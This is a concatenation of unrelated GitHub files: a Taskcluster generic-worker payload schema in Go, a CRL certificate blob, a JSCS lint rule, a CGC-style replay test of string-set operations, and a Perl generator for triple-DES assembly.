bannerClick: EventEmitter<EvoBanner>;
constructor(window: any);
onBannerClick(): void;
}
|
{
"pile_set_name": "Github"
}
|
-----BEGIN X509 CRL-----
MIIB6DCB0QIBATANBgkqhkiG9w0BAQsFADCBjjELMAkGA1UEBhMCUlUxFTATBgNV
BAgMDNCc0L7RgdC60LLQsDELMAkGA1UECgwC0K8xCzAJBgNVBAsMAtCvMSowKAYD
VQQDDCHQlNC80LjRgtGA0LjQuSDQkdC10LvRj9Cy0YHQutC40LkxIjAgBgkqhkiG
9w0BCQEWE2JlbGRtaXRAZXhhbXBsZS5jb20XDTE3MDQyNDEzMjUzMVoXDTE3MDUy
NDEzMjUzMVqgDjAMMAoGA1UdFAQDAgEBMA0GCSqGSIb3DQEBCwUAA4IBAQCF5eX+
1BM/BxoHU2/3pQHJgPSKevN0/K/daiFHiJl7Kb9GCwKY14B1RvbN2rUP/58Mt+aq
jvauf1yBzlaJQeJKZcsCmG9p6Tr1y0BJXhrq5kC0SLyNDsfGUTfuxnwmo+clHXRU
+gKuk+h0WkJL022ZYbJ38w588k4NT3CWVHeE23EDC264p942mlDE7en6MyL152Pe
Ld9YrWiq5iOIOrIbQLErq0EjwxvHG9sMiYFUa6VrwmRf26nyZ7u9RKJDP+o2dltw
diBaSXC3Qt3pZ8BIfv/l81lwp8Dr63SwCII2pIRplyICdQqmX/a+1q8kThXIP2Kx
+X48g7VE2o2X4cfy
-----END X509 CRL-----
|
{
"pile_set_name": "Github"
}
|
// +build docker
// This source code file is AUTO-GENERATED by github.com/taskcluster/jsonschema2go
package main
import (
"encoding/json"
tcclient "github.com/taskcluster/taskcluster/v37/clients/client-go"
)
type (
Artifact struct {
// Content-Encoding for the artifact. If not provided, `gzip` will be used, except for the
// following file extensions, where `identity` will be used, since they are already
// compressed:
//
// * 7z
// * bz2
// * dmg
// * flv
// * gif
// * gz
// * jpeg
// * jpg
// * png
// * swf
// * tbz
// * tgz
// * webp
// * whl
// * woff
// * woff2
// * xz
// * zip
// * zst
//
// Note, setting `contentEncoding` on a directory artifact will apply the same content
// encoding to all the files contained in the directory.
//
// Since: generic-worker 16.2.0
//
// Possible values:
// * "identity"
// * "gzip"
ContentEncoding string `json:"contentEncoding,omitempty"`
// Explicitly set the value of the HTTP `Content-Type` response header when the artifact(s)
// is/are served over HTTP(S). If not provided (this property is optional) the worker will
// guess the content type of artifacts based on the filename extension of the file storing
// the artifact content. It does this by looking at the system filename-to-mimetype mappings
// defined in multiple `mime.types` files located under `/etc`. Note, setting `contentType`
// on a directory artifact will apply the same contentType to all files contained in the
// directory.
//
// See [mime.TypeByExtension](https://godoc.org/mime#TypeByExtension).
//
// Since: generic-worker 10.4.0
ContentType string `json:"contentType,omitempty"`
// Date when artifact should expire must be in the future, no earlier than task deadline, but
// no later than task expiry. If not set, defaults to task expiry.
//
// Since: generic-worker 1.0.0
Expires tcclient.Time `json:"expires,omitempty"`
// Name of the artifact, as it will be published. If not set, `path` will be used.
// Conventionally (although not enforced) path elements are forward slash separated. Example:
// `public/build/a/house`. Note, no scopes are required to read artifacts beginning `public/`.
// Artifact names not beginning `public/` are scope-protected (caller requires scopes to
// download the artifact). See the Queue documentation for more information.
//
// Since: generic-worker 8.1.0
Name string `json:"name,omitempty"`
// Relative path of the file/directory from the task directory. Note this is not an absolute
// path as is typically used in docker-worker, since the absolute task directory name is not
// known when the task is submitted. Example: `dist\regedit.exe`. It doesn't matter if
// forward slashes or backslashes are used.
//
// Since: generic-worker 1.0.0
Path string `json:"path"`
// Artifacts can be either an individual `file` or a `directory` containing
// potentially multiple files with recursively included subdirectories.
//
// Since: generic-worker 1.0.0
//
// Possible values:
// * "file"
// * "directory"
Type string `json:"type"`
}
// Requires scope `queue:get-artifact:<artifact-name>`.
//
// Since: generic-worker 5.4.0
ArtifactContent struct {
// Max length: 1024
Artifact string `json:"artifact"`
// The required SHA 256 of the content body.
//
// Since: generic-worker 10.8.0
//
// Syntax: ^[a-f0-9]{64}$
Sha256 string `json:"sha256,omitempty"`
// Syntax: ^[A-Za-z0-9_-]{8}[Q-T][A-Za-z0-9_-][CGKOSWaeimquy26-][A-Za-z0-9_-]{10}[AQgw]$
TaskID string `json:"taskId"`
}
// Base64 encoded content of file/archive, up to 64KB (encoded) in size.
//
// Since: generic-worker 11.1.0
Base64Content struct {
// Base64 encoded content of file/archive, up to 64KB (encoded) in size.
//
// Since: generic-worker 11.1.0
//
// Syntax: ^[A-Za-z0-9/+]+[=]{0,2}$
// Max length: 65536
Base64 string `json:"base64"`
}
// By default tasks will be resolved with `state/reasonResolved`: `completed/completed`
// if all task commands have a zero exit code, or `failed/failed` if any command has a
// non-zero exit code. This payload property allows customsation of the task resolution
// based on exit code of task commands.
ExitCodeHandling struct {
// Exit codes for any command in the task payload to cause this task to
// be resolved as `exception/intermittent-task`. Typically the Queue
// will then schedule a new run of the existing `taskId` (rerun) if not
// all task runs have been exhausted.
//
// See [itermittent tasks](https://docs.taskcluster.net/docs/reference/platform/taskcluster-queue/docs/worker-interaction#intermittent-tasks) for more detail.
//
// Since: generic-worker 10.10.0
//
// Array items:
// Mininum: 1
Retry []int64 `json:"retry,omitempty"`
}
// Feature flags enable additional functionality.
//
// Since: generic-worker 5.3.0
FeatureFlags struct {
// Artifacts named `public/chain-of-trust.json` and
// `public/chain-of-trust.json.sig` should be generated which will
// include information for downstream tasks to build a level of trust
// for the artifacts produced by the task and the environment it ran in.
//
// Since: generic-worker 5.3.0
ChainOfTrust bool `json:"chainOfTrust,omitempty"`
// The taskcluster proxy provides an easy and safe way to make authenticated
// taskcluster requests within the scope(s) of a particular task. See
// [the github project](https://github.com/taskcluster/taskcluster/tree/main/tools/taskcluster-proxy) for more information.
//
// Since: generic-worker 10.6.0
TaskclusterProxy bool `json:"taskclusterProxy,omitempty"`
}
FileMount struct {
// One of:
// * ArtifactContent
// * URLContent
// * RawContent
// * Base64Content
Content json.RawMessage `json:"content"`
// The filesystem location to mount the file.
//
// Since: generic-worker 5.4.0
File string `json:"file"`
}
// This schema defines the structure of the `payload` property referred to in a
// Taskcluster Task definition.
GenericWorkerPayload struct {
// Artifacts to be published.
//
// Since: generic-worker 1.0.0
Artifacts []Artifact `json:"artifacts,omitempty"`
// One array per command (each command is an array of arguments). Several arrays
// for several commands.
//
// Since: generic-worker 0.0.1
//
// Array items:
// Array items:
Command [][]string `json:"command"`
// Env vars must be string to __string__ mappings (not number or boolean). For example:
// ```
// {
// "PATH": "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin",
// "GOOS": "darwin",
// "FOO_ENABLE": "true",
// "BAR_TOTAL": "3"
// }
// ```
//
// Note, the following environment variables will automatically be set in the task
// commands:
// * `TASK_ID` - the task ID of the currently running task
// * `RUN_ID` - the run ID of the currently running task
// * `TASKCLUSTER_ROOT_URL` - the root URL of the taskcluster deployment
// * `TASKCLUSTER_PROXY_URL` (if taskcluster proxy feature enabled) - the
// taskcluster authentication proxy for making unauthenticated taskcluster
// API calls
// * `TASKCLUSTER_WORKER_LOCATION` (if running in AWS or GCP or explicitly set
// in the generic-worker config file). See
// [RFC #0148](https://github.com/taskcluster/taskcluster-rfcs/blob/master/rfcs/0148-taskcluster-worker-location.md)
// for details.
//
// Since: generic-worker 0.0.1
//
// Map entries:
Env map[string]string `json:"env,omitempty"`
// Feature flags enable additional functionality.
//
// Since: generic-worker 5.3.0
Features FeatureFlags `json:"features,omitempty"`
// Maximum time the task container can run in seconds.
//
// Since: generic-worker 0.0.1
//
// Mininum: 1
// Maximum: 86400
MaxRunTime int64 `json:"maxRunTime"`
// Directories and/or files to be mounted.
//
// Since: generic-worker 5.4.0
//
// Array items:
// One of:
// * FileMount
// * WritableDirectoryCache
// * ReadOnlyDirectory
Mounts []json.RawMessage `json:"mounts,omitempty"`
// By default tasks will be resolved with `state/reasonResolved`: `completed/completed`
// if all task commands have a zero exit code, or `failed/failed` if any command has a
// non-zero exit code. This payload property allows customsation of the task resolution
// based on exit code of task commands.
OnExitStatus ExitCodeHandling `json:"onExitStatus,omitempty"`
// A list of OS Groups that the task user should be a member of. Not yet implemented on
// non-Windows platforms, therefore this optional property may only be an empty array if
// provided.
//
// Since: generic-worker 6.0.0
//
// Array items:
OSGroups []string `json:"osGroups,omitempty"`
// URL of a service that can indicate tasks superseding this one; the current `taskId`
// will be appended as a query argument `taskId`. The service should return an object with
// a `supersedes` key containing a list of `taskId`s, including the supplied `taskId`. The
// tasks should be ordered such that each task supersedes all tasks appearing later in the
// list.
//
// See [superseding](https://docs.taskcluster.net/reference/platform/taskcluster-queue/docs/superseding) for more detail.
//
// Since: generic-worker 10.2.2
SupersederURL string `json:"supersederUrl,omitempty"`
}
// Byte-for-byte literal inline content of file/archive, up to 64KB in size.
//
// Since: generic-worker 11.1.0
RawContent struct {
// Byte-for-byte literal inline content of file/archive, up to 64KB in size.
//
// Since: generic-worker 11.1.0
//
// Max length: 65536
Raw string `json:"raw"`
}
ReadOnlyDirectory struct {
// One of:
// * ArtifactContent
// * URLContent
// * RawContent
// * Base64Content
Content json.RawMessage `json:"content"`
// The filesystem location to mount the directory volume.
//
// Since: generic-worker 5.4.0
Directory string `json:"directory"`
// Archive format of content for read only directory.
//
// Since: generic-worker 5.4.0
//
// Possible values:
// * "rar"
// * "tar.bz2"
// * "tar.gz"
// * "zip"
Format string `json:"format"`
}
// URL to download content from.
//
// Since: generic-worker 5.4.0
URLContent struct {
// The required SHA 256 of the content body.
//
// Since: generic-worker 10.8.0
//
// Syntax: ^[a-f0-9]{64}$
Sha256 string `json:"sha256,omitempty"`
// URL to download content from.
//
// Since: generic-worker 5.4.0
URL string `json:"url"`
}
WritableDirectoryCache struct {
// Implies a read/write cache directory volume. A unique name for the
// cache volume. Requires scope `generic-worker:cache:<cache-name>`.
// Note if this cache is loaded from an artifact, you will also require
// scope `queue:get-artifact:<artifact-name>` to use this cache.
//
// Since: generic-worker 5.4.0
CacheName string `json:"cacheName"`
// One of:
// * ArtifactContent
// * URLContent
// * RawContent
// * Base64Content
Content json.RawMessage `json:"content,omitempty"`
// The filesystem location to mount the directory volume.
//
// Since: generic-worker 5.4.0
Directory string `json:"directory"`
// Archive format of the preloaded content (if `content` provided).
//
// Since: generic-worker 5.4.0
//
// Possible values:
// * "rar"
// * "tar.bz2"
// * "tar.gz"
// * "zip"
Format string `json:"format,omitempty"`
}
)
// Returns json schema for the payload part of the task definition. Please
// note we use a go string and do not load an external file, since we want this
// to be *part of the compiled executable*. If this sat in another file that
// was loaded at runtime, it would not be burned into the build, which would be
// bad for the following two reasons:
// 1) we could no longer distribute a single binary file that didn't require
// installation/extraction
// 2) the payload schema is specific to the version of the code, therefore
// should be versioned directly with the code and *frozen on build*.
//
// Run `generic-worker show-payload-schema` to output this schema to standard
// out.
func taskPayloadSchema() string {
return `{
"$id": "/schemas/generic-worker/docker_posix.json#",
"$schema": "/schemas/common/metaschema.json#",
"additionalProperties": false,
"definitions": {
"content": {
"oneOf": [
{
"additionalProperties": false,
"description": "Requires scope ` + "`" + `queue:get-artifact:\u003cartifact-name\u003e` + "`" + `.\n\nSince: generic-worker 5.4.0",
"properties": {
"artifact": {
"maxLength": 1024,
"type": "string"
},
"sha256": {
"description": "The required SHA 256 of the content body.\n\nSince: generic-worker 10.8.0",
"pattern": "^[a-f0-9]{64}$",
"title": "SHA 256",
"type": "string"
},
"taskId": {
"pattern": "^[A-Za-z0-9_-]{8}[Q-T][A-Za-z0-9_-][CGKOSWaeimquy26-][A-Za-z0-9_-]{10}[AQgw]$",
"type": "string"
}
},
"required": [
"taskId",
"artifact"
],
"title": "Artifact Content",
"type": "object"
},
{
"additionalProperties": false,
"description": "URL to download content from.\n\nSince: generic-worker 5.4.0",
"properties": {
"sha256": {
"description": "The required SHA 256 of the content body.\n\nSince: generic-worker 10.8.0",
"pattern": "^[a-f0-9]{64}$",
"title": "SHA 256",
"type": "string"
},
"url": {
"description": "URL to download content from.\n\nSince: generic-worker 5.4.0",
"format": "uri",
"title": "URL",
"type": "string"
}
},
"required": [
"url"
],
"title": "URL Content",
"type": "object"
},
{
"additionalProperties": false,
"description": "Byte-for-byte literal inline content of file/archive, up to 64KB in size.\n\nSince: generic-worker 11.1.0",
"properties": {
"raw": {
"description": "Byte-for-byte literal inline content of file/archive, up to 64KB in size.\n\nSince: generic-worker 11.1.0",
"maxLength": 65536,
"title": "Raw",
"type": "string"
}
},
"required": [
"raw"
],
"title": "Raw Content",
"type": "object"
},
{
"additionalProperties": false,
"description": "Base64 encoded content of file/archive, up to 64KB (encoded) in size.\n\nSince: generic-worker 11.1.0",
"properties": {
"base64": {
"description": "Base64 encoded content of file/archive, up to 64KB (encoded) in size.\n\nSince: generic-worker 11.1.0",
"maxLength": 65536,
"pattern": "^[A-Za-z0-9/+]+[=]{0,2}$",
"title": "Base64",
"type": "string"
}
},
"required": [
"base64"
],
"title": "Base64 Content",
"type": "object"
}
]
},
"fileMount": {
"additionalProperties": false,
"properties": {
"content": {
"$ref": "#/definitions/content",
"description": "Content of the file to be mounted.\n\nSince: generic-worker 5.4.0"
},
"file": {
"description": "The filesystem location to mount the file.\n\nSince: generic-worker 5.4.0",
"title": "File",
"type": "string"
}
},
"required": [
"file",
"content"
],
"title": "File Mount",
"type": "object"
},
"mount": {
"oneOf": [
{
"$ref": "#/definitions/fileMount"
},
{
"$ref": "#/definitions/writableDirectoryCache"
},
{
"$ref": "#/definitions/readOnlyDirectory"
}
],
"title": "Mount"
},
"readOnlyDirectory": {
"additionalProperties": false,
"properties": {
"content": {
"$ref": "#/definitions/content",
"description": "Contents of read only directory.\n\nSince: generic-worker 5.4.0",
"title": "Content"
},
"directory": {
"description": "The filesystem location to mount the directory volume.\n\nSince: generic-worker 5.4.0",
"title": "Directory",
"type": "string"
},
"format": {
"description": "Archive format of content for read only directory.\n\nSince: generic-worker 5.4.0",
"enum": [
"rar",
"tar.bz2",
"tar.gz",
"zip"
],
"title": "Format",
"type": "string"
}
},
"required": [
"directory",
"content",
"format"
],
"title": "Read Only Directory",
"type": "object"
},
"writableDirectoryCache": {
"additionalProperties": false,
"dependencies": {
"content": [
"format"
],
"format": [
"content"
]
},
"properties": {
"cacheName": {
"description": "Implies a read/write cache directory volume. A unique name for the\ncache volume. Requires scope ` + "`" + `generic-worker:cache:\u003ccache-name\u003e` + "`" + `.\nNote if this cache is loaded from an artifact, you will also require\nscope ` + "`" + `queue:get-artifact:\u003cartifact-name\u003e` + "`" + ` to use this cache.\n\nSince: generic-worker 5.4.0",
"title": "Cache Name",
"type": "string"
},
"content": {
"$ref": "#/definitions/content",
"description": "Optional content to be preloaded when initially creating the cache\n(if set, ` + "`" + `format` + "`" + ` must also be provided).\n\nSince: generic-worker 5.4.0",
"title": "Content"
},
"directory": {
"description": "The filesystem location to mount the directory volume.\n\nSince: generic-worker 5.4.0",
"title": "Directory Volume",
"type": "string"
},
"format": {
"description": "Archive format of the preloaded content (if ` + "`" + `content` + "`" + ` provided).\n\nSince: generic-worker 5.4.0",
"enum": [
"rar",
"tar.bz2",
"tar.gz",
"zip"
],
"title": "Format",
"type": "string"
}
},
"required": [
"directory",
"cacheName"
],
"title": "Writable Directory Cache",
"type": "object"
}
},
"description": "This schema defines the structure of the ` + "`" + `payload` + "`" + ` property referred to in a\nTaskcluster Task definition.",
"properties": {
"artifacts": {
"description": "Artifacts to be published.\n\nSince: generic-worker 1.0.0",
"items": {
"additionalProperties": false,
"properties": {
"contentEncoding": {
"description": "Content-Encoding for the artifact. If not provided, ` + "`" + `gzip` + "`" + ` will be used, except for the\nfollowing file extensions, where ` + "`" + `identity` + "`" + ` will be used, since they are already\ncompressed:\n\n* 7z\n* bz2\n* dmg\n* flv\n* gif\n* gz\n* jpeg\n* jpg\n* png\n* swf\n* tbz\n* tgz\n* webp\n* whl\n* woff\n* woff2\n* xz\n* zip\n* zst\n\nNote, setting ` + "`" + `contentEncoding` + "`" + ` on a directory artifact will apply the same content\nencoding to all the files contained in the directory.\n\nSince: generic-worker 16.2.0",
"enum": [
"identity",
"gzip"
],
"title": "Content-Encoding header when serving artifact over HTTP.",
"type": "string"
},
"contentType": {
"description": "Explicitly set the value of the HTTP ` + "`" + `Content-Type` + "`" + ` response header when the artifact(s)\nis/are served over HTTP(S). If not provided (this property is optional) the worker will\nguess the content type of artifacts based on the filename extension of the file storing\nthe artifact content. It does this by looking at the system filename-to-mimetype mappings\ndefined in multiple ` + "`" + `mime.types` + "`" + ` files located under ` + "`" + `/etc` + "`" + `. Note, setting ` + "`" + `contentType` + "`" + `\non a directory artifact will apply the same contentType to all files contained in the\ndirectory.\n\nSee [mime.TypeByExtension](https://godoc.org/mime#TypeByExtension).\n\nSince: generic-worker 10.4.0",
"title": "Content-Type header when serving artifact over HTTP",
"type": "string"
},
"expires": {
"description": "Date when artifact should expire must be in the future, no earlier than task deadline, but\nno later than task expiry. If not set, defaults to task expiry.\n\nSince: generic-worker 1.0.0",
"format": "date-time",
"title": "Expiry date and time",
"type": "string"
},
"name": {
"description": "Name of the artifact, as it will be published. If not set, ` + "`" + `path` + "`" + ` will be used.\nConventionally (although not enforced) path elements are forward slash separated. Example:\n` + "`" + `public/build/a/house` + "`" + `. Note, no scopes are required to read artifacts beginning ` + "`" + `public/` + "`" + `.\nArtifact names not beginning ` + "`" + `public/` + "`" + ` are scope-protected (caller requires scopes to\ndownload the artifact). See the Queue documentation for more information.\n\nSince: generic-worker 8.1.0",
"title": "Name of the artifact",
"type": "string"
},
"path": {
"description": "Relative path of the file/directory from the task directory. Note this is not an absolute\npath as is typically used in docker-worker, since the absolute task directory name is not\nknown when the task is submitted. Example: ` + "`" + `dist\\regedit.exe` + "`" + `. It doesn't matter if\nforward slashes or backslashes are used.\n\nSince: generic-worker 1.0.0",
"title": "Artifact location",
"type": "string"
},
"type": {
"description": "Artifacts can be either an individual ` + "`" + `file` + "`" + ` or a ` + "`" + `directory` + "`" + ` containing\npotentially multiple files with recursively included subdirectories.\n\nSince: generic-worker 1.0.0",
"enum": [
"file",
"directory"
],
"title": "Artifact upload type.",
"type": "string"
}
},
"required": [
"type",
"path"
],
"title": "Artifact",
"type": "object"
},
"title": "Artifacts to be published",
"type": "array",
"uniqueItems": true
},
"command": {
"description": "One array per command (each command is an array of arguments). Several arrays\nfor several commands.\n\nSince: generic-worker 0.0.1",
"items": {
"items": {
"type": "string"
},
"minItems": 1,
"type": "array",
"uniqueItems": false
},
"minItems": 1,
"title": "Commands to run",
"type": "array",
"uniqueItems": false
},
"env": {
"additionalProperties": {
"type": "string"
},
"description": "Env vars must be string to __string__ mappings (not number or boolean). For example:\n` + "`" + `` + "`" + `` + "`" + `\n{\n \"PATH\": \"/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin\",\n \"GOOS\": \"darwin\",\n \"FOO_ENABLE\": \"true\",\n \"BAR_TOTAL\": \"3\"\n}\n` + "`" + `` + "`" + `` + "`" + `\n\nNote, the following environment variables will automatically be set in the task\ncommands:\n * ` + "`" + `TASK_ID` + "`" + ` - the task ID of the currently running task\n * ` + "`" + `RUN_ID` + "`" + ` - the run ID of the currently running task\n * ` + "`" + `TASKCLUSTER_ROOT_URL` + "`" + ` - the root URL of the taskcluster deployment\n * ` + "`" + `TASKCLUSTER_PROXY_URL` + "`" + ` (if taskcluster proxy feature enabled) - the\n taskcluster authentication proxy for making unauthenticated taskcluster\n API calls\n * ` + "`" + `TASKCLUSTER_WORKER_LOCATION` + "`" + ` (if running in AWS or GCP or explicitly set\n in the generic-worker config file). See\n [RFC #0148](https://github.com/taskcluster/taskcluster-rfcs/blob/master/rfcs/0148-taskcluster-worker-location.md)\n for details.\n\nSince: generic-worker 0.0.1",
"title": "Env vars",
"type": "object"
},
"features": {
"additionalProperties": false,
"description": "Feature flags enable additional functionality.\n\nSince: generic-worker 5.3.0",
"properties": {
"chainOfTrust": {
"description": "Artifacts named ` + "`" + `public/chain-of-trust.json` + "`" + ` and\n` + "`" + `public/chain-of-trust.json.sig` + "`" + ` should be generated which will\ninclude information for downstream tasks to build a level of trust\nfor the artifacts produced by the task and the environment it ran in.\n\nSince: generic-worker 5.3.0",
"title": "Enable generation of signed Chain of Trust artifacts",
"type": "boolean"
},
"taskclusterProxy": {
"description": "The taskcluster proxy provides an easy and safe way to make authenticated\ntaskcluster requests within the scope(s) of a particular task. See\n[the github project](https://github.com/taskcluster/taskcluster/tree/main/tools/taskcluster-proxy) for more information.\n\nSince: generic-worker 10.6.0",
"title": "Run [taskcluster-proxy](https://github.com/taskcluster/taskcluster/tree/main/tools/taskcluster-proxy) to allow tasks to dynamically proxy requests to taskcluster services",
"type": "boolean"
}
},
"required": [],
"title": "Feature flags",
"type": "object"
},
"maxRunTime": {
"description": "Maximum time the task container can run in seconds.\n\nSince: generic-worker 0.0.1",
"maximum": 86400,
"minimum": 1,
"multipleOf": 1,
"title": "Maximum run time in seconds",
"type": "integer"
},
"mounts": {
"description": "Directories and/or files to be mounted.\n\nSince: generic-worker 5.4.0",
"items": {
"$ref": "#/definitions/mount",
"title": "Mount"
},
"type": "array",
"uniqueItems": false
},
"onExitStatus": {
"additionalProperties": false,
"description": "By default tasks will be resolved with ` + "`" + `state/reasonResolved` + "`" + `: ` + "`" + `completed/completed` + "`" + `\nif all task commands have a zero exit code, or ` + "`" + `failed/failed` + "`" + ` if any command has a\nnon-zero exit code. This payload property allows customsation of the task resolution\nbased on exit code of task commands.",
"properties": {
"retry": {
"description": "Exit codes for any command in the task payload to cause this task to\nbe resolved as ` + "`" + `exception/intermittent-task` + "`" + `. Typically the Queue\nwill then schedule a new run of the existing ` + "`" + `taskId` + "`" + ` (rerun) if not\nall task runs have been exhausted.\n\nSee [itermittent tasks](https://docs.taskcluster.net/docs/reference/platform/taskcluster-queue/docs/worker-interaction#intermittent-tasks) for more detail.\n\nSince: generic-worker 10.10.0",
"items": {
"minimum": 1,
"title": "Exit codes",
"type": "integer"
},
"title": "Intermittent task exit codes",
"type": "array",
"uniqueItems": true
}
},
"required": [],
"title": "Exit code handling",
"type": "object"
},
"osGroups": {
"description": "A list of OS Groups that the task user should be a member of. Not yet implemented on\nnon-Windows platforms, therefore this optional property may only be an empty array if\nprovided.\n\nSince: generic-worker 6.0.0",
"items": {
"type": "string"
},
"maxItems": 0,
"title": "OS Groups",
"type": "array",
"uniqueItems": false
},
"supersederUrl": {
"description": "URL of a service that can indicate tasks superseding this one; the current ` + "`" + `taskId` + "`" + `\nwill be appended as a query argument ` + "`" + `taskId` + "`" + `. The service should return an object with\na ` + "`" + `supersedes` + "`" + ` key containing a list of ` + "`" + `taskId` + "`" + `s, including the supplied ` + "`" + `taskId` + "`" + `. The\ntasks should be ordered such that each task supersedes all tasks appearing later in the\nlist.\n\nSee [superseding](https://docs.taskcluster.net/reference/platform/taskcluster-queue/docs/superseding) for more detail.\n\nSince: generic-worker 10.2.2",
"format": "uri",
"title": "Superseder URL",
"type": "string"
}
},
"required": [
"command",
"maxRunTime"
],
"title": "Generic worker payload",
"type": "object"
}`
}
|
{
"pile_set_name": "Github"
}
|
/**
* Requires newline inside curly braces of all objects.
*
* Type: `Boolean`
*
* Values: `true`
*
* #### Example
*
* ```js
* "requirePaddingNewLinesInObjects": true
* ```
*
* ##### Valid
*
* ```js
* var x = {
* a: 1
* };
* foo({
* a: {
* b: 1
* }
* });
* ```
*
* ##### Invalid
*
* ```js
* var x = { a: 1 };
* foo({a:{b:1}});
* ```
*/
var assert = require('assert');
module.exports = function() {};
module.exports.prototype = {
configure: function(value) {
assert(
typeof value === 'boolean',
'requirePaddingNewLinesInObjects option requires boolean value'
);
assert(
value === true,
'requirePaddingNewLinesInObjects option requires true value or should be removed'
);
},
getOptionName: function() {
return 'requirePaddingNewLinesInObjects';
},
check: function(file, errors) {
file.iterateNodesByType('ObjectExpression', function(node) {
var openingBracket = file.getFirstNodeToken(node);
var nextToken = file.getNextToken(openingBracket);
if (nextToken.type === 'Punctuator' && nextToken.value === '}') {
return;
}
if (openingBracket.loc.end.line === nextToken.loc.start.line) {
errors.add('Missing newline after opening curly brace', nextToken.loc.start);
}
var closingBracket = file.getLastNodeToken(node);
var prevToken = file.getPrevToken(closingBracket);
if (closingBracket.loc.start.line === prevToken.loc.end.line) {
errors.add('Missing newline before closing curly brace', closingBracket.loc.start);
}
});
}
};
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd"><pov>
<cbid>CROMU_00011</cbid>
<replay>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>lLt7c = |"wsAaWT0","yXxK4oO","gR31d","MinNhh9","5Pyl","acRRV","SLe7"|^|"s6i","bbah","M6R","QefDtz","sjTOfZ","0isw","P19wKyG"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>s9VxnCLt8r = lLt7c ^ lLt7c\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>u1OPQi = |"LAGX","KuUPE","Cu6VHL","IZ","uqKT53J"|-|"2VT","Cu6VHL","qv"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>Q4YH5EW = |"CR","wlUtU","Ya1h","pTvWb5"|~|"K","dd8YWd","pTvWb5","QMeiLXb","6c","2dPan"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>7dXlYVl = |"5aT7Pkm","tkK"|^|"ng1"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>AJUvth = lLt7c - u1OPQi\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>llDEUpq = lLt7c ~ u1OPQi\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>M7e8Z6R = |"Hqn6F","SW","7TZqeM","T3","tW7SG","oCJ4JP","3h"|^|"E9Nl","T3","7TZqeM","3h","SW","YPUV","29vy1UF"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>WLFmI3Q = AJUvth - Q4YH5EW\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>QW02p = lLt7c ~ AJUvth\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>irLYC = |"m7pMh"|^|"mav","m7pMh","xZ","duLV"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>.p\n</data></write>
<read echo="ascii"><delim>\n</delim><match><data>lLt7c = ||\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>s9VxnCLt8r = ||\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>u1OPQi = |"LAGX","KuUPE","IZ","uqKT53J"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>Q4YH5EW = |"CR","wlUtU","Ya1h","K","dd8YWd","QMeiLXb","6c","2dPan"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>7dXlYVl = ||\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>AJUvth = ||\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>llDEUpq = |"LAGX","KuUPE","IZ","uqKT53J"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>M7e8Z6R = |"SW","7TZqeM","T3","3h"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>WLFmI3Q = ||\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>QW02p = ||\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>irLYC = |"m7pMh"|\n</data></match></read>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>.l\n</data></write>
</replay>
</pov>
|
{
"pile_set_name": "Github"
}
|
#!/usr/local/bin/perl
$L="edi";
$R="esi";
sub DES_encrypt3
{
local($name,$enc)=@_;
&function_begin_B($name,"");
&push("ebx");
&mov("ebx",&wparam(0));
&push("ebp");
&push("esi");
&push("edi");
&comment("");
&comment("Load the data words");
&mov($L,&DWP(0,"ebx","",0));
&mov($R,&DWP(4,"ebx","",0));
&stack_push(3);
&comment("");
&comment("IP");
&IP_new($L,$R,"edx",0);
# put them back
if ($enc)
{
&mov(&DWP(4,"ebx","",0),$R);
&mov("eax",&wparam(1));
&mov(&DWP(0,"ebx","",0),"edx");
&mov("edi",&wparam(2));
&mov("esi",&wparam(3));
}
else
{
&mov(&DWP(4,"ebx","",0),$R);
&mov("esi",&wparam(1));
&mov(&DWP(0,"ebx","",0),"edx");
&mov("edi",&wparam(2));
&mov("eax",&wparam(3));
}
&mov(&swtmp(2), (DWC(($enc)?"1":"0")));
&mov(&swtmp(1), "eax");
&mov(&swtmp(0), "ebx");
&call("DES_encrypt2");
&mov(&swtmp(2), (DWC(($enc)?"0":"1")));
&mov(&swtmp(1), "edi");
&mov(&swtmp(0), "ebx");
&call("DES_encrypt2");
&mov(&swtmp(2), (DWC(($enc)?"1":"0")));
&mov(&swtmp(1), "esi");
&mov(&swtmp(0), "ebx");
&call("DES_encrypt2");
&stack_pop(3);
&mov($L,&DWP(0,"ebx","",0));
&mov($R,&DWP(4,"ebx","",0));
&comment("");
&comment("FP");
&FP_new($L,$R,"eax",0);
&mov(&DWP(0,"ebx","",0),"eax");
&mov(&DWP(4,"ebx","",0),$R);
&pop("edi");
&pop("esi");
&pop("ebp");
&pop("ebx");
&ret();
&function_end_B($name);
}
|
